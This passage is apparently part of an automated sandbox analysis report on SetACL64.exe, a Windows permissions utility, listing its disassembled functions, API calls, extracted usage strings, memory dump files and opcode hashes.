Opcode ID: 50e1e414d65792309ee3aaeac2ef96dc1d2e2a6e8bc8ede1a31a07ac19fd8208
Instruction ID: a5d046fc766c8f5a6a0c5d12ce0befec789321059e5629a5a721c87ca2e098ad
Opcode Fuzzy Hash: 50e1e414d65792309ee3aaeac2ef96dc1d2e2a6e8bc8ede1a31a07ac19fd8208
Instruction Fuzzy Hash: AEF06D76B08B4183E704EF2AE8501A9A3A1FB9DBA0F948035DA4D8336ACF7CD461C700

Function 00007FF7C1759718 Relevance: 1.4, Strings: 1, Instructions: 180COMMON

Download Yara Rule

Strings

-, xrefs: 00007FF7C17598C4

Memory Dump Source

Source File: 00000004.00000002.2140094996.00007FF7C1701000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7C1700000, based on PE: true

Associated: 00000004.00000002.2140081597.00007FF7C1700000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140134461.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140154839.00007FF7C178E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1792000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1797000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c1700000_SetACL64.jbxd

Similarity

API ID:
String ID: -
API String ID: 0-2547889144
Opcode ID: 4c1d9a599cc3bcd7ac7ed3d62c53db48a1b6c212b4efefffed7360049bb86f53
Instruction ID: c6469e1aca130b35e509198a177f9ddaf1e25b3219ae16134ccdb81bc54b0f7f
Opcode Fuzzy Hash: 4c1d9a599cc3bcd7ac7ed3d62c53db48a1b6c212b4efefffed7360049bb86f53
Instruction Fuzzy Hash: 0161D822A0CB8685EB609F26941437AF791FB9D7B4F844636DA9D43BDADF7CD4008710

Function 00007FF7C175B74C Relevance: 1.4, APIs: 1, Instructions: 137COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00007FF7C175B7F1

Part of subcall function 00007FF7C1754FDC: RtlAllocateHeap.NTDLL(?,?,00000000,00007FF7C175403D,?,?,000083BA01AAD97A,00007FF7C174E201,?,?,?,?,00007FF7C175BCFA,?,?,00000000), ref: 00007FF7C1755031

Part of subcall function 00007FF7C1755054: HeapFree.KERNEL32(?,?,00007FF7C17534C7,00007FF7C1754ADC,?,?,?,00007FF7C1754E5F,?,?,000083BA01AAD97A,00007FF7C1755874,?,?,?,00007FF7C17557A7), ref: 00007FF7C175506A
Part of subcall function 00007FF7C1755054: GetLastError.KERNEL32(?,?,00007FF7C17534C7,00007FF7C1754ADC,?,?,?,00007FF7C1754E5F,?,?,000083BA01AAD97A,00007FF7C1755874,?,?,?,00007FF7C17557A7), ref: 00007FF7C175507C

Part of subcall function 00007FF7C1760AE0: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7C1760B0E

Memory Dump Source

Source File: 00000004.00000002.2140094996.00007FF7C1701000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7C1700000, based on PE: true

Associated: 00000004.00000002.2140081597.00007FF7C1700000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140134461.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140154839.00007FF7C178E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1792000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1797000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c1700000_SetACL64.jbxd

Similarity

API ID: ErrorHeapLast$AllocateFree_invalid_parameter_noinfo
String ID:
API String ID: 3806578645-0
Opcode ID: 236d067f2956afbf2aae570a2df2c0c1b3f574b24111cde6df56e15b0652df38
Instruction ID: 90c134a23f0a524b9919c52ba9e43abd44e1ecceaed18f4d4c8cf2b72532df93
Opcode Fuzzy Hash: 236d067f2956afbf2aae570a2df2c0c1b3f574b24111cde6df56e15b0652df38
Instruction Fuzzy Hash: 5F41F421B09A4309EB60BF27647167AE282AF8C7A4FD45135EE4D47783EE7CF4018760

Function 00007FF7C175D744 Relevance: 1.3, APIs: 1, Instructions: 7memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00007FF7C175D748

Memory Dump Source

Source File: 00000004.00000002.2140094996.00007FF7C1701000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7C1700000, based on PE: true

Associated: 00000004.00000002.2140081597.00007FF7C1700000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140134461.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140154839.00007FF7C178E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1792000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1797000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c1700000_SetACL64.jbxd

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: 227af5b2b01adeec9a4c4bb0160e400c0b56438fa23b95ceffa25b2c6b663f7a
Instruction ID: f44d0547735f39f378bd0e20f26552d7cc33e62882f34ac9c90264ffd7a4da92
Opcode Fuzzy Hash: 227af5b2b01adeec9a4c4bb0160e400c0b56438fa23b95ceffa25b2c6b663f7a
Instruction Fuzzy Hash: ABB09220F07A0AC2EB087F226C4231863A57F4D720FD94038C00D82321EF6C20BA4720

Function 00007FF7C174FB00 Relevance: .6, Instructions: 634COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2140094996.00007FF7C1701000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7C1700000, based on PE: true

Associated: 00000004.00000002.2140081597.00007FF7C1700000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140134461.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140154839.00007FF7C178E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1792000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1797000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c1700000_SetACL64.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 804cbed04cb1b024b7a53ade8bd45d4e88f9643a1cf6792c7eebf2e20a23fd07
Instruction ID: 18d2fae4f7ee1f22a8cb3d9e8f86a56996bed7b7ec32399fae78b56dfe06eaa0
Opcode Fuzzy Hash: 804cbed04cb1b024b7a53ade8bd45d4e88f9643a1cf6792c7eebf2e20a23fd07
Instruction Fuzzy Hash: AB627721D3DE5695E353AF379421535A324BF5A3E0F819373E80E77662DFACE8428620

Function 00007FF7C170F650 Relevance: .6, Instructions: 563COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2140094996.00007FF7C1701000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7C1700000, based on PE: true

Associated: 00000004.00000002.2140081597.00007FF7C1700000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140134461.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140154839.00007FF7C178E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1792000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1797000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c1700000_SetACL64.jbxd

Similarity

API ID: ExceptionFileHeaderRaise
String ID:
API String ID: 2573137834-0
Opcode ID: db6c7db9ba73bacb7339c37cc7ab61be6a1ca176040ca25b453e64a39fde0fd1
Instruction ID: 5efde27d237ed497d462b74d24a6deef2505364c855ab61c174839a4b256797e
Opcode Fuzzy Hash: db6c7db9ba73bacb7339c37cc7ab61be6a1ca176040ca25b453e64a39fde0fd1
Instruction Fuzzy Hash: 7732AE22704B8586DB20EF26D9902ADA761FB89FD8F858032DF4E57BA9DF78D541C310

Function 00007FF7C170CB20 Relevance: .5, Instructions: 483COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2140094996.00007FF7C1701000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7C1700000, based on PE: true

Associated: 00000004.00000002.2140081597.00007FF7C1700000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140134461.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140154839.00007FF7C178E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1792000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1797000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c1700000_SetACL64.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1bddaa04ba479b5e3c122ea19f61bbb641f9d70ba39f3eaafaf3c5aa2504da0b
Instruction ID: 04002e13f1b42932b649e0b6618a3dfcceeb19970f2b04fd47e30e497bd2d146
Opcode Fuzzy Hash: 1bddaa04ba479b5e3c122ea19f61bbb641f9d70ba39f3eaafaf3c5aa2504da0b
Instruction Fuzzy Hash: D212A162609B8182DB20EF26D4542BDB760FB89F64F858136CB8E07B96DFBDD145C320

Function 00007FF7C17163E0 Relevance: .3, Instructions: 330COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2140094996.00007FF7C1701000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7C1700000, based on PE: true

Associated: 00000004.00000002.2140081597.00007FF7C1700000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140134461.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140154839.00007FF7C178E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1792000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1797000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c1700000_SetACL64.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8cc424a777be5028136a971fc0df0c9e471f88d56c3a3877931117becaa86a14
Instruction ID: 4869eb97bbda6540b9cb37136d3d6beec4e7c17407f4603d89346a667b661134
Opcode Fuzzy Hash: 8cc424a777be5028136a971fc0df0c9e471f88d56c3a3877931117becaa86a14
Instruction Fuzzy Hash: 27D18D62A19B8580EF50EF06D050279B3A1FB88FA4FA54536EE8D07B59EFBCD452C350

Function 00007FF7C175669C Relevance: .3, Instructions: 272COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2140094996.00007FF7C1701000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7C1700000, based on PE: true

Associated: 00000004.00000002.2140081597.00007FF7C1700000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140134461.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140154839.00007FF7C178E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1792000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1797000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c1700000_SetACL64.jbxd

Similarity

API ID: ErrorLast$CurrentFeatureInfoLocalePresentProcessProcessortry_get_function
String ID:
API String ID: 959782435-0
Opcode ID: 0144b5a661d66d38d76c24466dcf0781ce32cf37b2c1c40fd104419fcb5013a3
Instruction ID: 390990b39bbc119b545ee2e925878d1b6025c69a392c59ff809ef66012ef3a69
Opcode Fuzzy Hash: 0144b5a661d66d38d76c24466dcf0781ce32cf37b2c1c40fd104419fcb5013a3
Instruction Fuzzy Hash: 24B13D72A08A4682E764FF22D4216B9B360FB48B68F804135EF5D436C6DFBCE552C760

Function 00007FF7C170E9D0 Relevance: .2, Instructions: 193COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2140094996.00007FF7C1701000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7C1700000, based on PE: true

Associated: 00000004.00000002.2140081597.00007FF7C1700000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140134461.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140154839.00007FF7C178E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1792000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1797000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c1700000_SetACL64.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 623b00d227a4fe3d8e7d417f2b5f2d0ceb4a2eacd56c3b69df033875c0a5ee96
Instruction ID: 9f7712e4d617470bb3baa953ced5549df72a335a0c33bc628c3860dd9906ce02
Opcode Fuzzy Hash: 623b00d227a4fe3d8e7d417f2b5f2d0ceb4a2eacd56c3b69df033875c0a5ee96
Instruction Fuzzy Hash: 1A6118A2B18B8982EF109F5AD4405B9A360FB5C7A0F845231DF5E57B85DFBCE580C310

Function 00007FF7C175BD40 Relevance: .0, Instructions: 32COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2140094996.00007FF7C1701000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7C1700000, based on PE: true

Associated: 00000004.00000002.2140081597.00007FF7C1700000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140134461.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140154839.00007FF7C178E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1792000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1797000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c1700000_SetACL64.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 661991537337df00cfedef2c042225d99e55b89d68283520a0b1d8c619bedd07
Instruction ID: 2bd5bfa4c1cc718ce5768b5f69165fd38d0465cc88e463c11ef8e4472be83e2a
Opcode Fuzzy Hash: 661991537337df00cfedef2c042225d99e55b89d68283520a0b1d8c619bedd07
Instruction Fuzzy Hash: 80F06271B186958BDBA4DF6AA802629B7E0F74D3E0FD4C079D69D83B04DA7C90608F14

Function 00007FF7C1708A80 Relevance: 38.7, APIs: 4, Strings: 18, Instructions: 193COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7C1714810: FindResourceW.KERNEL32(?,?,?,?,?,?,?,?,?,00007FF7C171FCA1), ref: 00007FF7C1714859
Part of subcall function 00007FF7C1714810: LoadResource.KERNEL32(?,?,?,?,?,?,?,?,?,00007FF7C171FCA1), ref: 00007FF7C171486D
Part of subcall function 00007FF7C1714810: LockResource.KERNEL32(?,?,?,?,?,?,?,?,?,00007FF7C171FCA1), ref: 00007FF7C1714882
Part of subcall function 00007FF7C1714810: FreeResource.KERNEL32(?,?,?,?,?,?,?,?,?,00007FF7C171FCA1), ref: 00007FF7C1714964

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C1708D9E
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C1708DA4
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C1708DAA
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C1708DB0

Strings

Version: , xrefs: 00007FF7C1708ADD
Documentation:, xrefs: 00007FF7C1708CE5
Homepage: https://helgeklein.com, xrefs: 00007FF7C1708C42
SetACL -on ObjectName -ot ObjectType, xrefs: 00007FF7C1708CA9
-actn Action1 ParametersForAction1, xrefs: 00007FF7C1708CB5
Syntax:, xrefs: 00007FF7C1708C85
Copyright: Helge Klein, xrefs: 00007FF7C1708C61
[Options], xrefs: 00007FF7C1708CCD
The usage reference can be found at, xrefs: 00007FF7C1708D21
SetACL by Helge Klein, xrefs: 00007FF7C1708C2A
[-actn Action2 ParametersForAction2], xrefs: 00007FF7C1708CC1
License: Freeware, xrefs: 00007FF7C1708C6D
FileVersion, xrefs: 00007FF7C1708ABA
Documentation and examples are maintained at, xrefs: 00007FF7C1708D09
https://helgeklein.com., xrefs: 00007FF7C1708D15
==============, xrefs: 00007FF7C1708CF1
=======, xrefs: 00007FF7C1708C91
https://helgeklein.com/setacl/documentation/command-line-version-setacl-exe, xrefs: 00007FF7C1708D2D

Memory Dump Source

Source File: 00000004.00000002.2140094996.00007FF7C1701000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7C1700000, based on PE: true

Associated: 00000004.00000002.2140081597.00007FF7C1700000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140134461.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140154839.00007FF7C178E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1792000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1797000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c1700000_SetACL64.jbxd

Similarity

API ID: Resource_invalid_parameter_noinfo_noreturn$FindFreeLoadLock
String ID: SetACL by Helge Klein$ -actn Action1 ParametersForAction1$ [-actn Action2 ParametersForAction2]$ [Options]$=======$==============$Copyright: Helge Klein$Documentation and examples are maintained at$Documentation:$FileVersion$Homepage: https://helgeklein.com$License: Freeware$SetACL -on ObjectName -ot ObjectType$Syntax:$The usage reference can be found at$Version: $https://helgeklein.com.$https://helgeklein.com/setacl/documentation/command-line-version-setacl-exe
API String ID: 3000141576-3422969368
Opcode ID: 69f405b78d0f5892647151657973b3344c7a68e1b36205c54eef986998ac8fed
Instruction ID: 61dd24703bdff151b1a3b22811721ab8af189c6c09d3983e8898944762119795
Opcode Fuzzy Hash: 69f405b78d0f5892647151657973b3344c7a68e1b36205c54eef986998ac8fed
Instruction Fuzzy Hash: A9914B61F28A4294EB00FF66E8513B8A321BF98368FD14631D61E426E7DFACE554C360

Function 00007FF7C1758294 Relevance: 36.8, APIs: 10, Strings: 11, Instructions: 57COMMONLIBRARYCODE

Download Yara Rule

APIs

try_get_function.LIBVCRUNTIME ref: 00007FF7C17582AF
try_get_function.LIBVCRUNTIME ref: 00007FF7C17582CE

Part of subcall function 00007FF7C1757998: GetProcAddress.KERNEL32(?,?,00000006,00007FF7C1757E8A,?,?,000083BA01AAD97A,00007FF7C175402A,?,?,000083BA01AAD97A,00007FF7C174E201), ref: 00007FF7C1757AF0

try_get_function.LIBVCRUNTIME ref: 00007FF7C17582ED

Part of subcall function 00007FF7C1757998: LoadLibraryW.KERNELBASE(?,?,00000006,00007FF7C1757E8A,?,?,000083BA01AAD97A,00007FF7C175402A,?,?,000083BA01AAD97A,00007FF7C174E201), ref: 00007FF7C1757A3B
Part of subcall function 00007FF7C1757998: GetLastError.KERNEL32(?,?,00000006,00007FF7C1757E8A,?,?,000083BA01AAD97A,00007FF7C175402A,?,?,000083BA01AAD97A,00007FF7C174E201), ref: 00007FF7C1757A49
Part of subcall function 00007FF7C1757998: LoadLibraryExW.KERNEL32(?,?,00000006,00007FF7C1757E8A,?,?,000083BA01AAD97A,00007FF7C175402A,?,?,000083BA01AAD97A,00007FF7C174E201), ref: 00007FF7C1757A8B

try_get_function.LIBVCRUNTIME ref: 00007FF7C175830C

Part of subcall function 00007FF7C1757998: FreeLibrary.KERNEL32(?,?,00000006,00007FF7C1757E8A,?,?,000083BA01AAD97A,00007FF7C175402A,?,?,000083BA01AAD97A,00007FF7C174E201), ref: 00007FF7C1757AC4

try_get_function.LIBVCRUNTIME ref: 00007FF7C175832B
try_get_function.LIBVCRUNTIME ref: 00007FF7C175834A
try_get_function.LIBVCRUNTIME ref: 00007FF7C1758369
try_get_function.LIBVCRUNTIME ref: 00007FF7C1758388
try_get_function.LIBVCRUNTIME ref: 00007FF7C17583A7
try_get_function.LIBVCRUNTIME ref: 00007FF7C17583C6

Strings

GetUserDefaultLocaleName, xrefs: 00007FF7C175834F, 00007FF7C1758362
EnumSystemLocalesEx, xrefs: 00007FF7C17582D3, 00007FF7C17582E6
LCIDToLocaleName, xrefs: 00007FF7C17583AC, 00007FF7C17583BF
LocaleNameToLCID, xrefs: 00007FF7C17583CB, 00007FF7C17583DE
LCMapStringEx, xrefs: 00007FF7C17583A0
AreFileApisANSI, xrefs: 00007FF7C17582A8
GetDateFormatEx, xrefs: 00007FF7C17582F2, 00007FF7C1758305
CompareStringEx, xrefs: 00007FF7C17582C7
GetLocaleInfoEx, xrefs: 00007FF7C1758324
IsValidLocaleName, xrefs: 00007FF7C175836E, 00007FF7C1758381
GetTimeFormatEx, xrefs: 00007FF7C1758330, 00007FF7C1758343

Memory Dump Source

Source File: 00000004.00000002.2140094996.00007FF7C1701000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7C1700000, based on PE: true

Associated: 00000004.00000002.2140081597.00007FF7C1700000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140134461.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140154839.00007FF7C178E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1792000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1797000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c1700000_SetACL64.jbxd

Similarity

API ID: try_get_function$Library$Load$AddressErrorFreeLastProc
String ID: AreFileApisANSI$CompareStringEx$EnumSystemLocalesEx$GetDateFormatEx$GetLocaleInfoEx$GetTimeFormatEx$GetUserDefaultLocaleName$IsValidLocaleName$LCIDToLocaleName$LCMapStringEx$LocaleNameToLCID
API String ID: 3255926029-3252031757
Opcode ID: 9211e9d41fbef9106278706ba9ffd9f3a7d029d209f8dabeb844061a5d1a6813
Instruction ID: dda93834399ea4f55fbf6d409dc141fef2ac1b7b1d438719afc7bed703b555ad
Opcode Fuzzy Hash: 9211e9d41fbef9106278706ba9ffd9f3a7d029d209f8dabeb844061a5d1a6813
Instruction Fuzzy Hash: EF312660908E47A1F706FF56E8516F4A332AB0C364FC09437D10D169A79FBCA68AC3B1

Function 00007FF7C1721200 Relevance: 35.2, APIs: 17, Strings: 3, Instructions: 234COMMON

Download Yara Rule

Strings

Input file for trustee operation opened: ', xrefs: 00007FF7C1721490
" , xrefs: 00007FF7C1721750
AddTrusteesFromFile, xrefs: 00007FF7C172151C

Memory Dump Source

Source File: 00000004.00000002.2140094996.00007FF7C1701000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7C1700000, based on PE: true

Associated: 00000004.00000002.2140081597.00007FF7C1700000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140134461.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140154839.00007FF7C178E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1792000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1797000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c1700000_SetACL64.jbxd

Similarity

API ID:
String ID: " $AddTrusteesFromFile$Input file for trustee operation opened: '
API String ID: 0-3105513592
Opcode ID: cfcd9179b3afa49e84231abe562083495f775b235c5cd478525bc830438bbd8e
Instruction ID: d3ba63d4f67677047ad29f7c406734e9729e6d01f8bb28768a649b90410a5bc5
Opcode Fuzzy Hash: cfcd9179b3afa49e84231abe562083495f775b235c5cd478525bc830438bbd8e
Instruction Fuzzy Hash: B4A19E32A28B5284F700AFA5E8943EDA371FB58358F905435DA4C579ABDFBCE181C760

Function 00007FF7C171FC00 Relevance: 33.7, APIs: 14, Strings: 5, Instructions: 467COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32 ref: 00007FF7C171FC34
LeaveCriticalSection.KERNEL32 ref: 00007FF7C171FC4B
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C1720378
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C172037E
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C1720384
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C172038A
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C1720396
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C172039C
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C17203A2
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C17203A8
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C17203AE
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C17203B4
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C17203BA
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C17203C0

Strings

Starting SetACL.exe , xrefs: 00007FF7C171FF10
on , xrefs: 00007FF7C171FF27
FileVersion, xrefs: 00007FF7C171FC81
====================================================================, xrefs: 00007FF7C171FDF1, 00007FF7C17201B0
SetLogFile, xrefs: 00007FF7C171FE21, 00007FF7C171FFFC, 00007FF7C17201DC

Memory Dump Source

Source File: 00000004.00000002.2140094996.00007FF7C1701000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7C1700000, based on PE: true

Associated: 00000004.00000002.2140081597.00007FF7C1700000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140134461.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140154839.00007FF7C178E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1792000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1797000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c1700000_SetACL64.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$CriticalSection$EnterLeave
String ID: on $====================================================================$FileVersion$SetLogFile$Starting SetACL.exe
API String ID: 363805048-2110037876
Opcode ID: bfe008777ad23c9cdc2350b9679eda7746b6eef8af8c9e99fa761d27b66fba6f
Instruction ID: c21c37464180961df1e7f76bfb7ef50d6800f9658bc5fe83bb084139e8491ad1
Opcode Fuzzy Hash: bfe008777ad23c9cdc2350b9679eda7746b6eef8af8c9e99fa761d27b66fba6f
Instruction Fuzzy Hash: CF226562B1874581FB00AF69E4493ADA361EB997F4F905235DA6C03AEBDFBCD184C710

Function 00007FF7C173B8E0 Relevance: 33.7, APIs: 14, Strings: 5, Instructions: 409COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNEL32 ref: 00007FF7C173B8E5
GetLastError.KERNEL32 ref: 00007FF7C173B8F3

Part of subcall function 00007FF7C171BF60: GetLastError.KERNEL32 ref: 00007FF7C171BFCE

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C173BF09
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C173BF0F
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C173BF15
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C173BF21
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C173BF27
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C173BF2D
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C173BF33
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C173BF39
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C173BF45
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C173BF4B
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C173BF57
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C173BF5D

Strings

Created the directory ', xrefs: 00007FF7C173BD39
Directory already exists: ', xrefs: 00007FF7C173BB9F
The directory ', xrefs: 00007FF7C173B962
CreateDirectoryAPIWrapper, xrefs: 00007FF7C173B9D4, 00007FF7C173BC00, 00007FF7C173BD9A
' could not be created because: , xrefs: 00007FF7C173B979

Memory Dump Source

